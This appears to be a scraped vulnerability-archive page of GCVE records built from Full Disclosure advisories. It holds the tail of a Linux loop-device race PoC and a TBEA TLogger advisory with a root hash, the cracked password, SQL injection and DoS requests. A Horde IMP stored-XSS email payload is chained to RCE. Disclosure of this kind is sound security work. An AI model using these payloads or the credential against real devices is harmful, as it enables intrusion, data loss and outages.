loop_ctl_fd = open(\"/dev/loop-control\", O_RDWR);\n int backing_fd = -1;\n\n while (race_running) {\n /* Get a free loop device number */\n int loop_fd = open(loop_device, O_RDWR);\n if (loop_fd \u003e= 0) {\n /* Detach - triggers queue dying state */\n ioctl(loop_fd, LOOP_CLR_FD, 0);\n close(loop_fd);\n }\n\n usleep(100); /* Small delay */\n\n /* Reattach */\n loop_fd = open(loop_device, O_RDWR);\n backing_fd = open(backing_file, O_RDWR);\n if (loop_fd \u003e= 0 \u0026\u0026 backing_fd \u003e= 0) {\n ioctl(loop_fd, LOOP_SET_FD, backing_fd);\n close(backing_fd);\n close(loop_fd);\n }\n\n usleep(100);\n }\n\n close(loop_ctl_fd);\n return NULL;\n}\n\n/* Thread that submits I/O to exercise blk_get_queue paths */\nvoid *io_submitter_thread(void *arg) {\n while (race_running) {\n int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);\n if (fd \u003e= 0) {\n void *buf;\n posix_memalign(\u0026buf, 512, 4096);\n\n /* Submit I/O - internally calls blk_get_queue */\n pread(fd, buf, 4096, 0);\n\n free(buf);\n close(fd);\n }\n }\n return NULL;\n}\n\nint main(int argc, char **argv) {\n pthread_t openers[NUM_RACERS];\n pthread_t submitters[NUM_RACERS];\n pthread_t detacher;\n\n if (argc != 3) {\n fprintf(stderr, \"Usage: %s \u003cloop_device\u003e \u003cbacking_file\u003e\\n\", argv[0]);\n fprintf(stderr, \"Example: %s /dev/loop0 /tmp/test.img\\n\", argv[0]);\n return 1;\n }\n\n loop_device = argv[1];\n backing_file = argv[2];\n\n /* Create backing file if needed */\n int bf = open(backing_file, O_RDWR | O_CREAT, 0644);\n if (bf \u003e= 0) {\n ftruncate(bf, 10 * 1024 * 1024); /* 10MB */\n close(bf);\n }\n\n /* Initial loop setup */\n int loop_fd = open(loop_device, O_RDWR);\n int back_fd = open(backing_file, O_RDWR);\n if (loop_fd \u003e= 0 \u0026\u0026 back_fd \u003e= 0) {\n ioctl(loop_fd, LOOP_SET_FD, back_fd);\n close(back_fd);\n close(loop_fd);\n }\n\n printf(\"[*] Starting race condition PoC\\n\");\n printf(\"[*] Target: %s\\n\", loop_device);\n printf(\"[*] This may take a while or crash the kernel...\\n\");\n\n /* Start racer threads */\n for (int i = 0; i \u003c NUM_RACERS; i++) {\n pthread_create(\u0026openers[i], NULL, opener_thread, (void*)(long)i);\n pthread_create(\u0026submitters[i], NULL, io_submitter_thread, (void*)(long)i);\n }\n pthread_create(\u0026detacher, NULL, detacher_thread, NULL);\n\n /* Run for a "
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:00:50Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/0"
],
"discovery": "EXTERNAL"
},
"title": "Linux Kernel Block Subsystem Vulnerabilities",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2025-0001",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0",
"automated": true,
"contentSha256": "32de6235455076c016dc8c2f5582de70e96ca488e28216ce0ba889a748b0e4f6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2025-12-29T20:20:00Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-11T11:00:50Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2025-0001"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0381
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation
Summary
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities in TBEA TLogger
product| TBEA TLogger (TBEA Communication Box 3rd Generation)
vulnerable version| V2.1.0.0B0.0.0.0
fixed version| -
CVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,
| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683
impact| Critical
homepage| https://www.tbea.com/
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"TBEA, a group committed to “green and low-carbon development”, is a pioneer in
global energy-efficient power transmission and distribution, and a
industry-leading service provider of clean energy solutions."
Source: https://en.tbea.com/about.html
Vulnerable versions
-------------------------------------------------------------------------------
TBEA TLogger / V2.1.0.0B0.0.0.0
Vulnerability overview
-------------------------------------------------------------------------------
1) Backdoor Account (CVE-2025-13293)
The TLogger exposes SSH to the network. This SSH service also allows root
login on the device. By cracking the hash from the file '/etc/shadow' it was
possible to recover the password.
2) Unauthenticated SQL Injection (CVE-2025-13294)
The webserver accepts unauthenticated request that trigger SQLite Queries from
the CCU.db, these request are vulnerable the SQL injections. An attacker can
modify, read and delete data this way.
3) Information Disclosure via UART (CVE-2025-15680)
The UART interface is exposed on the circuit board. A physical attacker can use
the interface to observer the boot procedure and get valuable debug information
from the system via this way.
4) Insufficient Webserver Authentication (CVE-2025-15681)
The authentication of the webserver was implemented in an insufficient way. A
user can bypass the login via browsing to another endpoint of the system.
This is only possible if any user was logged into the device previously.
5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
The webserver accepts a unauthenticated PUT request that create files
containing user specified data in /opt/myapp/webserver/.
6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
The webserver can be put in denial of service conditions by accessing to
specific endpoints. These endpoints do not require any previous authentication.
Proof of Concept
-------------------------------------------------------------------------------
1) Backdoor Account (CVE-2025-13293)
By reading out the file /etc/shadow, the hash of the user root gets exposed:
root:aH8eS1ufCL7xY:17464:0:99999:7:::
The cracked password is: tbea1234
This can be used to login as root user via SSH to the device.
2) Unauthenticated SQL Injection (CVE-2025-13294)
By sending a request where one of the parameters contains a URL encoded SQL
injection you can modify the output from the query:
~
GET /action/DayCapacity?&date="1'+OR+1%3d1%3b--" HTTP/1.1
Host: 192.168.19.132
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: tbea_language=en
Upgrade-Insecure-Requests: 1
Priority: u=0, i
~
This happens because the value of date is added to the query string without any
parsing or validation:
~
char* r0_5 = websGetVar(wp_1, "date", 0x963a4, &wp_1)
sprintf(&var_5cc, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ", r0_5,
"where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ")
strcat(&sql, &var_5cc)
~
The same method is used through out the webserver. Therefore, multiple "action"
endpoints that are prone to the SQL injection vulnerability:
Selects:
*
DayCapacity
*
MonthCapacity
*
YearCaparity
*
recordData
*
InvHistoryData (&index>=1000)
*
CollectHistoryData
*
InvFaultData (&index>=100)
*
GetPortTableByParm
*
GetDicTransmit
*
GetDicDataPoint
*
GetXMLConfigByIPAndTypeCode
*
GetDicDataPointByInfo
*
Getstation_data
*
Getcustom_data
*
GetXmlSgnalConfig
*
getTrackParaData
Deletes:
*
DeletePortTable1_4ByParm
*
DeleteHostIP_configByIp
*
DeleteIP_configByIp
*
DeleteDicTransmit
*
DeleteDicDataPoint
*
XMLInfoInDb
3) Information Disclosure via UART (CVE-2025-15680)
Two pins on the backside of the TLogger PCB can be used to gain UART access.
By attaching a UART-to-USB serial converter, the following system startup can
be observed:
~
U-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)
CPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)
CPU: Temperature 32 C
Reset cause: POR
Board: EPC-M6Y2C
Watchdog enabled
DRAM: 256 MiB
NAND: 256 MiB
MMC: FSL_SDHC: 0
In: serial
Out: serial
Err: serial
Net: FEC1
Normal Boot
Hit 'zlg' to stop autoboot: 2 1 0
[...]
IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
ifconfig: SIOCSIFFLAGS: Operation not permitted
/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can't create
/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied
set file system rw start
set file system rw end
/sbin:/usr/sbin:/bin:/usr/bin
/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -
4.8.6/plugins/imageformats:/usr/local/tslib/lib:
main() start.
--------------------
System: system start to run...
[...]
debug IP=192.168.1.253
route: SIOCADDRT: File exists
webserver: 2: Configuration for Embedthis webserver
webserver: 2: ---------------------------------------------
webserver: 2: Version: V2.1.0.0B0.0.0.0
webserver: 2: BuildType: Debug
webserver: 2: CPU: arm
webserver: 2: OS: linux
webserver: 2: Host: 192.168.2.253
webserver: 2: Directory: /opt/myapp/webserver
webserver: 2: Documents: web
webserver: 2: Configure: me -d -q -platform windows-x86-default -
configure . -without ssl -gen vs
webserver: 2: ---------------------------------------------
webserver: 2: Started http://:80
~
Such details and the resulting debug capabilities enable a physical attacker to
debug the device effectively during runtime.
4) Insufficient Webserver Authentication (CVE-2025-15681)
The webserver of the TLogger required to be logged in to the application for
administrating the device. If a user has been authenticated correctly in a
previous session, it was possible for a malicious actor to browse to the
endpoint "/index.asp", and bypass the login process completely. The root cause
is suspected to be a memory management issue within the webserver daemon itself.
An attacker can not see its user name as there are just memory residue, which
are displayed instead of admin. If such an unauthenticated-but-authenticated
user logs out, the webserver crashes.
5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
By sending a PUT request to the endpoint "/tmp/", the webserver creates the
file "/opt/myapp/webserver/put-0.tmp" containing the data from the request
body. Every subsequent request will create a new file e.g. "put-1.tmp":
~
PUT /tmp/ HTTP/1.1
Host: 192.168.19.132
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: tbea_language=en
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 22
USERSPECIFIED DATA
~
These file aren’t deleted automatically, leading to a memory resource
exhaustion. This issue occurs because the webserver attempts to move the
generated "put-1.tmp" file into "/opt/myapp/webserver/web/tmp/". However, the
"web/tmp/" directory does not exist.
6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
Different DoS conditions can be triggered via the webserver on the device.
Unauthenticated DoS Actions:
The webserver allows for multiple unauthenticated /action calls that result in
a DoS:
*
/action/onRestart - Triggers a reboot
*
/action/onReset - Sets FLAG_RECREATE followed by reboot
*
/action/ClearData - Sets FLAG_CLEARDATA
*
/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver
Unauthenticated DoS via Buffer Overflow
Multiple /action calls, when sent with certain parameters, result in a Segfault
of the Webserver because of a buffer overflow. This happens because the typical
method to assemble the queries is sprintf() and strcat() without any length
checks.
Vulnerable action calls:
*
/action/getIndiaRPData index=”1’--aaaabaaacaaadaaaeaaafa” type=1D
*
/action/YearCaparity date=’A’300
*
/action/TotalfaultData startDate=’A’300
*
/action/recordData startDate=’A’300
*
/action/InvHistoryData index>=1000 startDate=’A’300
*
/action/CollectHistoryData startDate=’A’300
*
/action/InvFaultData index>=100 startDate=’A’300
*
/action/GetPortTableByParm port='A'2000
*
/action/UpdatePortConfig port='A'2000
Solution
-------------------------------------------------------------------------------
None.
Workaround
-------------------------------------------------------------------------------
Restrict network and physical access to the device. The component should only
be operated in an encapsulated/air-gapped environment.
Recommendation
-------------------------------------------------------------------------------
Implement a customized action plan in advance, if the product should be
integrated in the infrastructure.
Contact Timeline
-------------------------------------------------------------------------------
2026-01-07: Contacted Austrian Energy CERT
2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com
regarding potential vulnerabilities.
2026-01-22: Contact attempt via LinkedIn with alleged "International Business
Manager at TBEA".
2026-01-22: Attempted to get contact addresses via other european CERTs.
2026-01-22: Attempted to get contact addresses via Energy ISAC.
2026-04-27: Sent initial findings regarding CVE-2025-13293 and
CVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.
2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,
CVE-2025-15682 and CVE-2025-15683 to generic mailbox
tbeaoffice[@]tbea[.]com.
2026-08-10: Advisory publication.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/82 | technical-description |
| http://:80 | |
| https://en.tbea.com/about.html | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://www.tbea.com/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0381 (this record)
- related CVE-2025-13293
- related CVE-2025-13294
- related CVE-2025-15680
- related CVE-2025-15681
- related CVE-2025-15682
- related CVE-2025-15683
{
"containers": {
"cna": {
"affected": [
{
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-------------------------------------------------------------------------------\ntitle| Multiple Vulnerabilities in TBEA TLogger\nproduct| TBEA TLogger (TBEA Communication Box 3rd Generation)\nvulnerable version| V2.1.0.0B0.0.0.0\nfixed version| -\nCVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,\n| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683\nimpact| Critical\nhomepage| https://www.tbea.com/\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"TBEA, a group committed to \u201cgreen and low-carbon development\u201d, is a pioneer in\nglobal energy-efficient power transmission and distribution, and a\nindustry-leading service provider of clean energy solutions.\"\nSource: https://en.tbea.com/about.html\nVulnerable versions\n-------------------------------------------------------------------------------\nTBEA TLogger / V2.1.0.0B0.0.0.0\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nThe TLogger exposes SSH to the network. This SSH service also allows root\nlogin on the device. By cracking the hash from the file \u0027/etc/shadow\u0027 it was\npossible to recover the password.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nThe webserver accepts unauthenticated request that trigger SQLite Queries from\nthe CCU.db, these request are vulnerable the SQL injections. An attacker can\nmodify, read and delete data this way.\n3) Information Disclosure via UART (CVE-2025-15680)\nThe UART interface is exposed on the circuit board. A physical attacker can use\nthe interface to observer the boot procedure and get valuable debug information\nfrom the system via this way.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe authentication of the webserver was implemented in an insufficient way. A\nuser can bypass the login via browsing to another endpoint of the system.\nThis is only possible if any user was logged into the device previously.\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nThe webserver accepts a unauthenticated PUT request that create files\ncontaining user specified data in /opt/myapp/webserver/.\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nThe webserver can be put in denial of service conditions by accessing to\nspecific endpoints. These endpoints do not require any previous authentication.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nBy reading out the file /etc/shadow, the hash of the user root gets exposed:\nroot:aH8eS1ufCL7xY:17464:0:99999:7:::\nThe cracked password is: tbea1234\nThis can be used to login as root user via SSH to the device.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nBy sending a request where one of the parameters contains a URL encoded SQL\ninjection you can modify the output from the query:\n~\nGET /action/DayCapacity?\u0026date=\"1\u0027+OR+1%3d1%3b--\" HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n~\nThis happens because the value of date is added to the query string without any\nparsing or validation:\n~\nchar* r0_5 = websGetVar(wp_1, \"date\", 0x963a4, \u0026wp_1)\nsprintf(\u0026var_5cc, \"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \", r0_5,\n\"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \")\nstrcat(\u0026sql, \u0026var_5cc)\n~\nThe same method is used through out the webserver. Therefore, multiple \"action\"\nendpoints that are prone to the SQL injection vulnerability:\nSelects:\n\n *\nDayCapacity\n *\nMonthCapacity\n *\nYearCaparity\n *\nrecordData\n *\nInvHistoryData (\u0026index\u003e=1000)\n *\nCollectHistoryData\n *\nInvFaultData (\u0026index\u003e=100)\n *\nGetPortTableByParm\n *\nGetDicTransmit\n *\nGetDicDataPoint\n *\nGetXMLConfigByIPAndTypeCode\n *\nGetDicDataPointByInfo\n *\nGetstation_data\n *\nGetcustom_data\n *\nGetXmlSgnalConfig\n *\ngetTrackParaData\nDeletes:\n *\nDeletePortTable1_4ByParm\n *\nDeleteHostIP_configByIp\n *\nDeleteIP_configByIp\n *\nDeleteDicTransmit\n *\nDeleteDicDataPoint\n *\nXMLInfoInDb\n\n3) Information Disclosure via UART (CVE-2025-15680)\nTwo pins on the backside of the TLogger PCB can be used to gain UART access.\nBy attaching a UART-to-USB serial converter, the following system startup can\nbe observed:\n~\nU-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)\nCPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)\nCPU: Temperature 32 C\nReset cause: POR\nBoard: EPC-M6Y2C\nWatchdog enabled\nDRAM: 256 MiB\nNAND: 256 MiB\nMMC: FSL_SDHC: 0\nIn: serial\nOut: serial\nErr: serial\nNet: FEC1\nNormal Boot\nHit \u0027zlg\u0027 to stop autoboot: 2 1 0\n[...]\nIPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\nifconfig: SIOCSIFFLAGS: Operation not permitted\n/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can\u0027t create\n/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied\nset file system rw start\nset file system rw end\n/sbin:/usr/sbin:/bin:/usr/bin\n/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\n/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -\n4.8.6/plugins/imageformats:/usr/local/tslib/lib:\nmain() start.\n--------------------\nSystem: system start to run...\n[...]\ndebug IP=192.168.1.253\nroute: SIOCADDRT: File exists\nwebserver: 2: Configuration for Embedthis webserver\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Version: V2.1.0.0B0.0.0.0\nwebserver: 2: BuildType: Debug\nwebserver: 2: CPU: arm\nwebserver: 2: OS: linux\nwebserver: 2: Host: 192.168.2.253\nwebserver: 2: Directory: /opt/myapp/webserver\nwebserver: 2: Documents: web\nwebserver: 2: Configure: me -d -q -platform windows-x86-default -\nconfigure . -without ssl -gen vs\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Started http://:80\n~\nSuch details and the resulting debug capabilities enable a physical attacker to\ndebug the device effectively during runtime.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe webserver of the TLogger required to be logged in to the application for\nadministrating the device. If a user has been authenticated correctly in a\nprevious session, it was possible for a malicious actor to browse to the\nendpoint \"/index.asp\", and bypass the login process completely. The root cause\nis suspected to be a memory management issue within the webserver daemon itself.\nAn attacker can not see its user name as there are just memory residue, which\nare displayed instead of admin. If such an unauthenticated-but-authenticated\nuser logs out, the webserver crashes.\n\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nBy sending a PUT request to the endpoint \"/tmp/\", the webserver creates the\nfile \"/opt/myapp/webserver/put-0.tmp\" containing the data from the request\nbody. Every subsequent request will create a new file e.g. \"put-1.tmp\":\n~\nPUT /tmp/ HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\nContent-Length: 22\nUSERSPECIFIED DATA\n~\nThese file aren\u2019t deleted automatically, leading to a memory resource\nexhaustion. This issue occurs because the webserver attempts to move the\ngenerated \"put-1.tmp\" file into \"/opt/myapp/webserver/web/tmp/\". However, the\n\"web/tmp/\" directory does not exist.\n\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nDifferent DoS conditions can be triggered via the webserver on the device.\nUnauthenticated DoS Actions:\nThe webserver allows for multiple unauthenticated /action calls that result in\na DoS:\n\n *\n/action/onRestart - Triggers a reboot\n *\n/action/onReset - Sets FLAG_RECREATE followed by reboot\n *\n/action/ClearData - Sets FLAG_CLEARDATA\n *\n/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver\n\nUnauthenticated DoS via Buffer Overflow\nMultiple /action calls, when sent with certain parameters, result in a Segfault\nof the Webserver because of a buffer overflow. This happens because the typical\nmethod to assemble the queries is sprintf() and strcat() without any length\nchecks.\nVulnerable action calls:\n\n *\n/action/getIndiaRPData index=\u201d1\u2019--aaaabaaacaaadaaaeaaafa\u201d type=1D\n *\n/action/YearCaparity date=\u2019A\u2019300\n *\n/action/TotalfaultData startDate=\u2019A\u2019300\n *\n/action/recordData startDate=\u2019A\u2019300\n *\n/action/InvHistoryData index\u003e=1000 startDate=\u2019A\u2019300\n *\n/action/CollectHistoryData startDate=\u2019A\u2019300\n *\n/action/InvFaultData index\u003e=100 startDate=\u2019A\u2019300\n *\n/action/GetPortTableByParm port=\u0027A\u00272000\n *\n/action/UpdatePortConfig port=\u0027A\u00272000\n\nSolution\n-------------------------------------------------------------------------------\nNone.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network and physical access to the device. The component should only\nbe operated in an encapsulated/air-gapped environment.\n\nRecommendation\n-------------------------------------------------------------------------------\nImplement a customized action plan in advance, if the product should be\nintegrated in the infrastructure.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-01-07: Contacted Austrian Energy CERT\n2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com\nregarding potential vulnerabilities.\n2026-01-22: Contact attempt via LinkedIn with alleged \"International Business\nManager at TBEA\".\n2026-01-22: Attempted to get contact addresses via other european CERTs.\n2026-01-22: Attempted to get contact addresses via Energy ISAC.\n2026-04-27: Sent initial findings regarding CVE-2025-13293 and\nCVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.\n2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,\nCVE-2025-15682 and CVE-2025-15683 to generic mailbox\ntbeaoffice[@]tbea[.]com.\n2026-08-10: Advisory publication.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T08:27:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/82"
},
{
"url": "http://:80"
},
{
"url": "https://en.tbea.com/about.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.tbea.com/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/82"
],
"discovery": "EXTERNAL"
},
"title": "Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-13293",
"type": "related"
},
{
"destId": "CVE-2025-13294",
"type": "related"
},
{
"destId": "CVE-2025-15680",
"type": "related"
},
{
"destId": "CVE-2025-15681",
"type": "related"
},
{
"destId": "CVE-2025-15682",
"type": "related"
},
{
"destId": "CVE-2025-15683",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0381",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82",
"automated": true,
"contentSha256": "c9eac5e1a50dea19ad61e2d01ad80edba3199414b78ed31094c0da01cf6f1b2b",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/82",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-25T13:18:02Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0381"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T08:27:55Z",
"dateUpdated": "2026-09-11T08:27:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0381"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0380
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)
Summary
https://blog.evan.lat/posts/CVE-2026-65053/
the blog talks about two vulns that are chainable together. for the sake of
brevity ill write up on the stored xss one.
in lib/Mime/Status.php, we see a pretty viable xss sink:
$out .= '<tr><td>' . $val . '</td></tr>';
xrefing this we see that most impls are sanitized with the exception of
lib/Mime/Viewer/Appledouble.php:
$data_name = $this->getConfigParam('imp_contents')->getPartName($data_part);
// ...
sprintf(_("This message contains a Macintosh file (named \"%s\")."),
$data_name)
exploiting this is trivial obviously. we just need to craft an email like
this:
From: d () x com
To: victim () target com
Subject: mac file
MIME-Version: 1.0
Content-Type: multipart/appledouble; boundary="BOUND"
--BOUND
Content-Type: application/applefile
Content-Transfer-Encoding: base64
cmVzb3VyY2UtZm9yay1ieXRlcw==
--BOUND
Content-Type: application/octet-stream; name="<img src=x
onerror=alert('hi')>"
Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>"
Content-Transfer-Encoding: base64
ZGF0YS1mb3JrLWJ5dGVz
--BOUND--
given the nature of this xss it is very much wormable and turns our
existing arb file read to a half click exploit. obviously we wouldnt really
want to use a half click primitive just to read files (although grabbing db
creds is very trivial with these two vulns chained), so naturally we can
try to achieve rce with this xss worm primitive.
to get an rce from this is easy. we can either target an admin or craft an
xss worm thatll eventually reach an admin. admins can access a PHP shell
which let us run arbitrary php code, so we can simply use the xss to hit
the PHP shell at /horde/admin/phpshell.php
this constitutes a half click since the user simply needs to click on the
email to trigger the xss in question. an exp poc is provided in the blog.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/115 | technical-description |
| https://blog.evan.lat/posts/CVE-2026-65053/ | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | FD - Half-click |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0380 (this record)
- related CVE-2026-65053
{
"containers": {
"cna": {
"affected": [
{
"product": "FD - Half-click",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Evan Tang"
}
],
"descriptions": [
{
"lang": "en",
